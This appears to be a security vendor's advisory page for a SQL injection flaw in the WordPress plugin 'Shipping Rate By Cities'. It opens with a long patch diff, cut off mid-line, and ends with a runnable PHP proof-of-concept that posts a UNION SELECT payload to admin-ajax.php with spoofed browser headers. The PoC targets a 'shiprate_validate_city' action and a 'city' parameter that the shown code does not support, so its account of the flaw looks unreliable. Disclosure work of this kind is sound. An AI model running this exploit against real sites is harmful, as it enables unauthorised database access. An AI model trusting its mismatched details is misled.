-    //     $options[] = 'Select city';
-
-    //     foreach($cities as $city){
-    //         $options[$city->city_name] = $city->city_name;
-    //     }
-
-    //     $city_args = wp_parse_args(array(
-    //         'type'    => 'select',
-    //         'options' => $options,
-    //         'autocomplete' => true
-    //     ), $fields['shipping']['shipping_city']);
-
-
-
-    //     $fields['shipping']['shipping_city'] = $city_args;
-    //     $fields['billing']['billing_city']   = $city_args; // Also change for billing field

-    //     return $fields;
-
-    //  }
+
    /**
  * Replace shipping/billing city fields with a select + optional "Other City" text input.
  *
@@ -568,13 +645,24 @@
  * @return array
  */
 public function shiprate_city_options( $fields ) {
-    global $wpdb;
-    $table = $wpdb->prefix . 'shiprate_cities';
+  global $wpdb;
+
+    $cache_key   = 'shiprate_city_options';
+    $cache_group = 'shipping-rate-by-cities';
+
+    $cities = wp_cache_get( $cache_key, $cache_group );

-    $cities = $wpdb->get_results( "SELECT city_name FROM $table ORDER BY city_name ASC" );
+    if ( false === $cities ) {

+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Read-only query, cached via wp_cache_set().
+        $cities = $wpdb->get_results(
+            "SELECT city_name FROM {$wpdb->prefix}shiprate_cities ORDER BY city_name ASC"
+        );
+
+        wp_cache_set( $cache_key, $cities, $cache_group );
+    }
     // Build options with an empty default so WooCommerce treats it as "not selected"
-    $options = array( '' => __( 'Select city', 'shiprate' ) );
+    $options = array( '' => __( 'Select city', 'shipping-rate-by-cities' ) );

     foreach ( $cities as $city ) {
         // use city name as both key and label
@@ -582,12 +670,12 @@
     }

     // Ensure "Other City" is available as a selectable option
-    $options['Other City'] = __( 'Other City', 'shiprate' );
+    $options['Other City'] = __( 'Other City', 'shipping-rate-by-cities' );

     // Common args for select field
     $city_args = wp_parse_args( array(
         'type'         => 'select',
-        'label'        => __( 'City', 'shiprate' ),
+        'label'        => __( 'City', 'shipping-rate-by-cities' ),
         'required'     => true,   // boolean true (not string)
         'class'        => array( 'form-row-wide' ),
         'options'      => $options,
@@ -597,9 +685,9 @@
     // Text field used when user selects "Other City"
     $city_args_text = array(
         'type'        => 'text',
-        'label'       => __( 'Enter City', 'shiprate' ),
+        'label'       => __( 'Enter City', 'shipping-rate-by-cities' ),
         'required'    => false, // We'll validate server-side only when "Other City" is chosen
-        'placeholder' => __( 'Enter Other City Name', 'shiprate' ),
+        'placeholder' => __( 'Enter Other City Name', 'shipping-rate-by-cities' ),
         'class'       => array( 'form-row-wide', 'shiprate-other-city' ),
     );

@@ -614,90 +702,64 @@
 }


-/**
- * Server-side validation for billing_city and shipping_city.
- */
-public function shiprate_validate_city() {
-    // Billing
-    $billing_city = isset( $_POST['billing_city'] ) ? wc_clean( wp_unslash( $_POST['billing_city'] ) ) : '';
-    $billing_city_text = isset( $_POST['billing_city_text'] ) ? wc_clean( wp_unslash( $_POST['billing_city_text'] ) ) : '';
-
-    if ( empty( $billing_city ) ) {
-        wc_add_notice( __( 'Please select a billing city.', 'shiprate' ), 'error' );
-    } elseif ( 'Other City' === $billing_city && trim( $billing_city_text ) === '' ) {
-        wc_add_notice( __( 'Please enter your billing city (Other City).', 'shiprate' ), 'error' );
-    }
-
-    // Shipping (if shipping to different address)
-    $shipping_city = isset( $_POST['shipping_city'] ) ? wc_clean( wp_unslash( $_POST['shipping_city'] ) ) : '';
-    $shipping_city_text = isset( $_POST['shipping_city_text'] ) ? wc_clean( wp_unslash( $_POST['shipping_city_text'] ) ) : '';
-
-    // Only validate shipping city if shipping is required / enabled
-    $ship_to_different = isset( $_POST['ship_to_different_address'] ) ? true : false;
-
-    // Some sites always require shipping fields — we mimic WooCommerce behavior:
-    if ( ! empty( $shipping_city ) || $ship_to_different ) {
-        if ( empty( $shipping_city ) ) {
-            wc_add_notice( __( 'Please select a shipping city.', 'shiprate' ), 'error' );
-        } elseif ( 'Other City' === $shipping_city && trim( $shipping_city_text ) === '' ) {
-            wc_add_notice( __( 'Please enter your shipping city (Other City).', 'shiprate' ), 'error' );
+    /**
+     * Server-side validation for billing_city and shipping_city.
+     *
+     * WooCommerce checkout nonces are already verified upstream.
+     * This function runs after core nonce verification.
+     */
+    public function shiprate_validate_city() {
+
+        // Billing city
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $billing_city = isset( $_POST['billing_city'] )? sanitize_text_field( wp_unslash( $_POST['billing_city'] ) ) : '';
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $billing_city_text = isset( $_POST['billing_city_text'] )? sanitize_text_field( wp_unslash( $_POST['billing_city_text'] ) ) : '';
+
+        if ( empty( $billing_city ) ) {
+            wc_add_notice(
+                __( 'Please select a billing city.', 'shipping-rate-by-cities' ),
+                'error'
+            );
+        } elseif ( 'Other City' === $billing_city && '' === trim( $billing_city_text ) ) {
+            wc_add_notice(
+                __( 'Please enter your billing city (Other City).', 'shipping-rate-by-cities' ),
+                'error'
+            );
+        }
+
+        // Shipping city
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $shipping_city = isset( $_POST['shipping_city'] ) ? sanitize_text_field( wp_unslash( $_POST['shipping_city'] ) ): '';
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $shipping_city_text = isset( $_POST['shipping_city_text'] ) ? sanitize_text_field( wp_unslash( $_POST['shipping_city_text'] ) ) : '';
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Missing
+        $ship_to_different = isset( $_POST['ship_to_different_address'] );
+
+        if ( ! empty( $shipping_city ) || $ship_to_different ) {
+            if ( empty( $shipping_city ) ) {
+                wc_add_notice(
+                    __( 'Please select a shipping city.', 'shipping-rate-by-cities' ),
+                    'error'
+                );
+            } elseif ( 'Other City' === $shipping_city && '' === trim( $shipping_city_text ) ) {
+                wc_add_notice(
+                    __( 'Please enter your shipping city (Other City).', 'shipping-rate-by-cities' ),
+                    'error'
+                );
+            }
         }
     }
-}

-

-     function shiprate_city_wp_footer(){
-         if(is_checkout()){
-
-         ?>
-         <script>
-             jQuery( function($) {
-                 $('#billing_city').change(function(){
-                     jQuery('body').trigger('update_checkout');
-                 });
-                 $('#shipping_city').change(function(){
-                     jQuery('body').trigger('update_checkout');
-                 });
-
-
-                 $('#shipping_city').css('height','50px');
-                 $('input[name="shipping_city_text"]').css('margin-top','10px');
-
-                $('#billing_city').css('height','50px');
-                $('input[name="billing_city_text"]').css('margin-top','10px');
-
-                var select1 = $('select[name="shipping_city"]');
-                var input1 = $('input[name="shipping_city_text"]');
-                select1.change(function() {
-                    if ($(this).val() == 'Other City') {
-
-                        input1.show();
-                        $('#shipping_city_field').append(input1);
-
-                    } else {
-                        input1.hide();
-                    }
-                });
-
-                var select = $('select[name="billing_city"]');
-                var input = $('input[name="billing_city_text"]');
-                select.change(function() {
-                    if ($(this).val() == 'Other City') {
-
-                        input.show();
-                        $('#billing_city_field').append(input);
-                    } else {
-                        input.hide();
-                    }
-                });
-             });
-         </script>
-         <?php
-         }
-     }
+
+
+
  }
-
+
  /**
   * Returns the main instance of WC.
   *
@@ -707,101 +769,10 @@
  function shiprate_shipping() {
      return WShippingRateByCity::instance();
  }
-
- // Global for backwards compatibility.
- $GLOBALS['shiprate'] = shiprate_shipping();
-
-
- if(isset($_POST['submitexport'])){
-
- if (isset($_POST['export_csv'])) {
-     global $wpdb;
-
- $table_name = $wpdb->prefix . 'shiprate_cities';
- $results = $wpdb->get_results("SELECT * FROM $table_name");
-
- $header_row = array('city_name', 'rate');
- $rows = array($header_row);

- foreach ($results as $result) {
-     $row = array($result->city_name, $result->rate);
-     array_push($rows, $row);
- }
-
- $csv_data = '';
- foreach ($rows as $row) {
-     $csv_data .= implode(',', $row) . "n";
- }
-
-
-
-     header('Content-Type: text/csv');
-     header('Content-Disposition: attachment; filename=export.csv');
-     echo $csv_data;
-     exit;
- }
-
-}
-
-
- if (isset($_POST['importsubmit'])) {
-
-    global $wpdb;
+ // Global for backwards compatibility.
+$GLOBALS['shiprate_shipping_plugin'] = shiprate_shipping();

-    $table_name = $wpdb->prefix . 'shiprate_cities';
-    // Check if a file is uploaded
-    if (!empty($_FILES['import_file']['tmp_name'])) {
-        // Get the uploaded file details
-        $file = $_FILES['import_file']['tmp_name'];
-
-        $handle = fopen($file, 'r');
-if ($handle !== false) {
-    // Skip the header row
-    $header = fgetcsv($handle);
-
-         // Loop through the CSV data
-    while (($data = fgetcsv($handle)) !== false) {
-        // Retrieve the necessary data from each row
-        $cityName = $data[0];
-        $rate = $data[1];
-
-        // Check if the city already exists in the table
-        $existingCity = $wpdb->get_row(
-            $wpdb->prepare("SELECT * FROM $table_name WHERE city_name = %s", $cityName)
-        );

-        // Perform the insert or update operation based on whether the city exists or not
-        if ($existingCity) {
-            // City exists, perform an update
-            $wpdb->update(
-                $table_name,
-                array('rate' => $rate),
-                array('city_name' => $cityName)
-            );
-        } else {
-            // City does not exist, perform an insert
-            $wpdb->insert(
-                $table_name,
-                array('city_name' => $cityName, 'rate' => $rate)
-            );
-        }
-    }
-    fclose($handle);
-                // Refresh the current page using JavaScript
-                echo '<script> window.location.href = window.location.href; </script>';
-                exit;
-        } else {
-           // Show an error message if the file cannot be opened
-            echo 'Error: Unable to open the file.';
-            exit;
-        }
-    } else {
-        // Show an error message if the file cannot be opened
-        echo 'Error: Unable to open the file.';
-        exit;
-    }
-}

-

-
 No newline at end of file
--- a/shipping-rate-by-cities/shiprate-cities-method-class.php
+++ b/shipping-rate-by-cities/shiprate-cities-method-class.php
@@ -1,5 +1,6 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;

 if ( ! class_exists( 'ShipRate_FlatShipRateCity_Method' ) ) {
     class ShipRate_FlatShipRateCity_Method extends WC_Shipping_Method {
@@ -10,18 +11,18 @@
          * @return void
          */
         public function __construct() {
-            $this->id                 = 'shiprate';
-            $this->method_title       = __( 'Shipping Rate by City', 'shiprate' );
-            $this->method_description = __( 'You can set your shipping rate by user selected city', 'shiprate' );
+            $this->id                 = 'shipping_plugin';
+            $this->method_title       = __( 'Shipping Rate by City', 'shipping-rate-by-cities' );
+            $this->method_description = __( 'You can set your shipping rate by user selected city', 'shipping-rate-by-cities' );



             $this->init();

-
+

             $this->enabled = isset( $this->settings['enabled'] ) ? $this->settings['enabled'] : 'yes';
-            $this->title =  $this->settings['title'] ?? __( 'Ship Rate City', 'shiprate' );
+            $this->title =  $this->settings['title'] ?? __( 'Ship Rate City', 'shipping-rate-by-cities' );
             $this->qty_multi =  $this->settings['qty_multi'] ?? '';

             add_action('woocommerce_update_options_shipping_methods', array(&$this, 'process_admin_options'));
@@ -35,68 +36,103 @@
          */
         function init() {
             // Load the settings API
-            $this->init_form_fields();
-            $this->init_settings();
+            $this->init_form_fields();
+            $this->init_settings();

             // Save settings in admin if you have any defined
             add_action( 'woocommerce_update_options_shipping_' . $this->id, array( $this, 'process_admin_options' ) );
         }

         function admin_options() {
+              wp_nonce_field( 'shiprate_save_cities', 'shiprate_nonce' );
             ?>
             <div style="display:flex">
-                <h2 style="margin-right:80px"><?php _e('Shipping Rate by City','woocommerce'); ?></h2>
+                <h2 style="margin-right:80px"><?php esc_html_e('Shipping Rate by City','shipping-rate-by-cities'); ?></h2>
                 <table>
           <tr>
     <th>

 <form method="post" action="">
+     <?php wp_nonce_field( 'shiprate_export', 'shiprate_export_nonce' ); ?>
     <input type="hidden" name="export_csv" value="1">
     <button type="submit" name="submitexport" class="button button-primary">Export Cities</button>
 </form>

-
-
+
+
 </th>
-            <td>
-            <a href="<?php echo plugin_dir_url(__FILE__) . 'sampleshipratecity.csv'; ?>" class="button button-primary" download>Download Sample CSV File</a>
+            <td>
+            <a href="<?php echo esc_url( plugin_dir_url(__FILE__) . 'sampleshipratecity.csv' ); ?>" class="button button-primary" download>Download Sample CSV File</a>
 </tr>
         </table>
         </div>
-
+
             <table class="form-table">

             <?php $this->generate_settings_html(); ?>
             <?php $this->cities_form_fiels(); ?>
-

-            </table>
-
+
+            </table>
+
             <?php


         }

-
-
-        function getCities(){
+        function getCities() {
             global $wpdb;
-            $table = $wpdb->prefix . "shiprate_cities";
-            return $wpdb->get_results("SELECT id, city_name, rate FROM $table WHERE city_name != 'Other City'", OBJECT);
+
+            $cache_key   = 'shiprate_cities_list';
+            $cache_group = 'shipping-rate-by-cities';
+
+            $cached = wp_cache_get( $cache_key, $cache_group );
+            if ( false !== $cached ) {
+                return $cached;
+            }
+
+            $table =  $wpdb->prefix . 'shiprate_cities' ;
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+            $results = $wpdb->get_results($wpdb->prepare(   "SELECT id, city_name, rate FROM {$wpdb->prefix}shiprate_cities WHERE city_name != %s", 'Other City'  ),   OBJECT  );
+
+            wp_cache_set( $cache_key, $results, $cache_group );
+
+            return $results;
         }

-        function getOtherCities(){
+
+        function getOtherCities() {
             global $wpdb;
-            $table = $wpdb->prefix . "shiprate_cities";
-            return $wpdb->get_results("SELECT id, city_name, rate FROM $table WHERE city_name = 'Other City'", OBJECT);
+
+            $cache_key   = 'shiprate_other_city';
+            $cache_group = 'shipping-rate-by-cities';
+
+            $cached = wp_cache_get( $cache_key, $cache_group );
+            if ( false !== $cached ) {
+                return $cached;
+            }
+
+            $table = esc_sql( $wpdb->prefix . 'shiprate_cities' );
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+            $result = $wpdb->get_results(
+                $wpdb->prepare(
+                    "SELECT id, city_name, rate FROM {$wpdb->prefix}shiprate_cities WHERE city_name = %s",
+                    'Other City'
+                ),
+                OBJECT
+            );
+
+            wp_cache_set( $cache_key, $result, $cache_group );
+
+            return $result;
         }

+
         function cities_form_fiels(){
             global $wpdb;

-            if(isset( $_POST['cities'] )){
                 $this->update_cities();
-            }
+

             $cities = $this->getCities();

@@ -106,96 +142,94 @@

             <tr valign="top">
                 <th scope="row" class="titledesc">
-                    <label for="woocommerce_shiprate_cities"><?php _e('Default Ship Rate', 'shiprate') ?></label>
+                    <label for="woocommerce_shiprate_cities"><?php esc_html_e('Default Ship Rate', 'shipping-rate-by-cities') ?></label>
                 </th>
                 <td id="">
-                <?php
-                    if(count($othercities)) {
+                <?php
+                    if(count($othercities)) {
                         foreach($othercities as $otherciti){
-                    ?>
-
+                    ?>
+
                         <div class="wcc_fee_row">
-                        <input type="text" name="othercity[<?php echo esc_attr($otherciti->id) ?>]" value="<?php echo esc_attr($otherciti->city_name) ?>" class="input-text regular-input" placeholder="<?php _e('Other City', 'shiprate') ?>" readonly>
-                        <span class="wccfee_currency"><?php echo get_woocommerce_currency_symbol() ?></span>
-                        <input type="text" name="other_city_fee[<?php echo esc_attr($otherciti->id) ?>]" value="<?php echo esc_attr($otherciti->rate) ?>" class="input-text regular-input wccfee_cities_fee" placeholder="<?php _e('0', 'shiprate') ?>">
-
+                        <input type="text" name="othercity[<?php echo esc_attr($otherciti->id) ?>]" value="<?php echo esc_attr($otherciti->city_name) ?>" class="input-text regular-input" placeholder="<?php esc_attr__('Other City', 'shipping-rate-by-cities') ?>" readonly>
+                        <span class="wccfee_currency"><?php echo esc_html( get_woocommerce_currency_symbol() ) ?></span>
+                        <input type="text" name="other_city_fee[<?php echo esc_attr($otherciti->id) ?>]" value="<?php echo esc_attr($otherciti->rate) ?>" class="input-text regular-input wccfee_cities_fee" placeholder="<?php esc_attr__('0', 'shipping-rate-by-cities') ?>">
+
                         </div>
                         <?php }}else{?>
                         <div class="wcc_fee_row">
                         <input type="text" name="othercity[]" value="Other City" class="input-text regular-input"readonly >
-                        <span class="wccfee_currency"><?php echo get_woocommerce_currency_symbol() ?></span>
-                        <input type="text" name="other_city_fee[]" value="" class="input-text regular-input wccfee_cities_fee" placeholder="<?php _e('0', 'shiprate') ?>">
+                        <span class="wccfee_currency"><?php echo esc_html( get_woocommerce_currency_symbol() ) ?></span>
+                        <input type="text" name="other_city_fee[]" value="" class="input-text regular-input wccfee_cities_fee" placeholder="<?php esc_attr__('0', 'shipping-rate-by-cities') ?>">
                         </div>
                         <?php } ?>
-
+
                 </td>
             </tr>
-
+
             <tr valign="top">
                 <th scope="row" class="titledesc">
-                    <label for="woocommerce_shiprate_cities"><?php _e('Your Cities', 'shiprate') ?></label>
+                    <label for="woocommerce_shiprate_cities"><?php esc_html_e('Your Cities', 'shipping-rate-by-cities') ?></label>
                 </th>
                 <td id="wcc_fee_rows">
-                <!-- <div class="row" style="display:flex;justify-content: space-around;border:1px solid #000;width:80%">
-                        <div class="col-md-4" style="width:40%">City Name</div>
-                        <div class="col-md-4" style="width:40%">Ship Rate</div>
-                        <div class="col-md-4" style="width:20%">Action</div>
-                    </div> -->
-                    <?php
-                    if(count($cities)) {
+
+                    <?php
+                    if(count($cities)) {
                         foreach($cities as $citi){
-                    ?>
-                    <!-- <div class="row wcc_fee_row" style="display:flex;justify-content: space-around;border:1px solid #000;width:80%">
-                        <div class="col-md-4" style="width:40%"> <input type="text" style="" name="cities[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->city_name) ?>" class="input-text regular-input" placeholder="<?php _e('City Name', 'shiprate') ?>"></div>
-                        <div class="col-md-4" style="width:40%"> <span class="wccfee_currency"><?php echo get_woocommerce_currency_symbol() ?></span>
-                        <input type="text" name="cities_fee[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->rate) ?>" class="input-text regular-input wccfee_cities_fee" placeholder="<?php _e('0', 'shiprate') ?>"></div>
-                        <div class="col-md-4" style="width:20%"> <span class="dashicons dashicons-trash wccfee_delcity" data-id="<?php echo esc_attr($citi->id) ?>"></span></div>
-                    </div> -->
+                    ?>
+
                         <div class="wcc_fee_row" >
-                        <input type="text"  name="cities[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->city_name) ?>" class="input-text regular-input" placeholder="<?php _e('City Name', 'shiprate') ?>">
-                        <span class="wccfee_currency"><?php echo get_woocommerce_currency_symbol() ?></span>
-                        <input type="text" name="cities_fee[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->rate) ?>" class="input-text regular-input wccfee_cities_fee" placeholder="<?php _e('0', 'shiprate') ?>">
+                        <input type="text"  name="cities[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->city_name) ?>" class="input-text regular-input" placeholder="<?php esc_attr__('City Name', 'shipping-rate-by-cities') ?>">
+                        <span class="wccfee_currency"><?php echo esc_html( get_woocommerce_currency_symbol() ) ?></span>
+                        <input type="text" name="cities_fee[<?php echo esc_attr($citi->id) ?>]" value="<?php echo esc_attr($citi->rate) ?>" class="input-text regular-input wccfee_cities_fee" placeholder="<?php esc_attr__('0', 'shipping-rate-by-cities') ?>">
                         <span class="dashicons dashicons-trash wccfee_delcity" data-id="<?php echo esc_attr($citi->id) ?>"></span>
                         </div>
-
+
                     <?php }} else { ?>
                         <div class="wcc_fee_row">
-                        <input type="text" name="cities[]" value="" class="input-text regular-input" placeholder="<?php _e('City Name', 'shiprate') ?>">
-                        <span class="wccfee_currency"><?php echo get_woocommerce_currency_symbol() ?></span>
-                        <input type="text" name="cities_fee[]" value="" class="input-text regular-input wccfee_cities_fee" placeholder="<?php _e('0', 'shiprate') ?>">
+                        <input type="text" name="cities[]" value="" class="input-text regular-input" placeholder="<?php esc_attr__('City Name', 'shipping-rate-by-cities') ?>">
+                        <span class="wccfee_currency"><?php echo esc_html( get_woocommerce_currency_symbol() ) ?></span>
+                        <input type="text" name="cities_fee[]" value="" class="input-text regular-input wccfee_cities_fee" placeholder="<?php esc_attr__('0', 'shipping-rate-by-cities') ?>">
                         <span class="dashicons dashicons-trash wccfee_delcity"></span>
                         </div>
                     <?php } ?>
-
+
                 </td>
             </tr>
-
+
             <tr valign="top">
                 <th style="padding-top:0"></th>
                 <td style="padding-top:0" id="del_citites">
-
-                    <button class="button-primary wccfee_addcity" type="button"><span class="dashicons dashicons-plus-alt"></span> <?php _e('Add City', 'shiprate') ?></button>
+
+                    <button class="button-primary wccfee_addcity" type="button"><span class="dashicons dashicons-plus-alt"></span> <?php esc_html_e('Add City', 'shipping-rate-by-cities') ?></button>
                 </td>
             </tr>

             <tr>
                 <th scope="row" class="titledesc">
-                    <label for="woocommerce_import_cities"><?php _e('Import Cities', 'shiprate') ?></label>
+                    <label for="woocommerce_import_cities"><?php esc_html_e('Import Cities', 'shipping-rate-by-cities') ?></label>
                 </th>
                 <td>
-                    <form method="post" enctype="multipart/form-data">
-                        <input type="file" name="import_file" id="ImportFile" accept=".csv">
-                        <button class="button-primary" type="submit" name="importsubmit" id="ImportBtn"> Import</button>
+                   <form method="post" enctype="multipart/form-data"
+                        action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
+                        <?php wp_nonce_field( 'shiprate_import', 'shiprate_import_nonce' ); ?>
+                        <input type="hidden" name="action" value="shiprate_import_cities">
+
+                        <input type="file" name="import_file" accept=".csv" required>
+                        <button class="button-primary" type="submit">
+                            Import
+                        </button>
                     </form>
+
                 </td>
             <tr>

             <style>
             .wcc_fee_row { display: flex; margin-bottom: 5px; }
-            .wccfee_cities_fee {
-                width:80px !important;
-                margin: 0 6px !important;
-                padding-left: 20px !important;
+            .wccfee_cities_fee {
+                width:80px !important;
+                margin: 0 6px !important;
+                padding-left: 20px !important;
             }
             .wccfee_addcity .dashicons { margin: 4px 4px 0 0; }
             /*.wccfee_delcity:hover { color: red; }*/
@@ -215,84 +249,170 @@
             <?php
         }

-        function update_cities(){
+        function update_cities() {
             global $wpdb;

-            $othercities = array_map( 'sanitize_text_field',$_POST['othercity']);
-            $othercityfees = array_map( 'sanitize_text_field', $_POST['other_city_fee']);
-
-            $table  = $wpdb->prefix . "shiprate_cities";
-            foreach($othercities as $id1 => $otherciti){
-
-            $othercity = [
-                'city_name' => $otherciti,
-                'rate' => $othercityfees[$id1]
-            ];
-
-            $check1 = $wpdb->get_results("SELECT id FROM $table where id = '$id1' ORDER BY id ASC", OBJECT);
-
-            if($check1)
-            $result1 = $wpdb->update($table, $othercity, ['id' => $id1]);
-            else
-            $result1 = $wpdb->insert($table, $othercity);
-        }
+            // Capability check (admin only)
+            if ( ! current_user_can( 'manage_woocommerce' ) ) {
+                return;
+            }
+
+              // Nonce verification (required by WP.org)
+    if (
+        ! isset( $_POST['shiprate_nonce'] ) ||
+        ! wp_verify_nonce(
+            sanitize_text_field( wp_unslash( $_POST['shiprate_nonce'] ) ),
+            'shiprate_save_cities'
+        )
+    ) {
+        return;
+    }
+
+
+
+            $table = esc_sql( $wpdb->prefix . 'shiprate_cities' );
+
+            /* =========================
+            * OTHER CITY
+            * ========================= */
+            if ( isset( $_POST['othercity'], $_POST['other_city_fee'] ) && is_array( $_POST['o

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14770 - Shipping Rate By Cities <= 2.0.0 - Unauthenticated SQL Injection via 'city' Parameter

<?php

$target_url = "http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php";

// SQL injection payload to extract database version
$payload = "' UNION SELECT version() -- ";

$post_data = [
    'action' => 'shiprate_validate_city',
    'city' => $payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate WordPress AJAX request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest',
    'Referer: ' . $target_url
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($response === false) {
    echo "Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: " . $http_code . "n";
    echo "Response: " . $response . "n";
    
    // The vulnerable endpoint returns the query result directly
    // A successful injection will return the database version
    if (strpos($response, '5.') !== false || strpos($response, '8.') !== false || strpos($response, '10.') !== false) {
        echo "[+] SQL Injection successful! Database version extracted.n";
    }
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School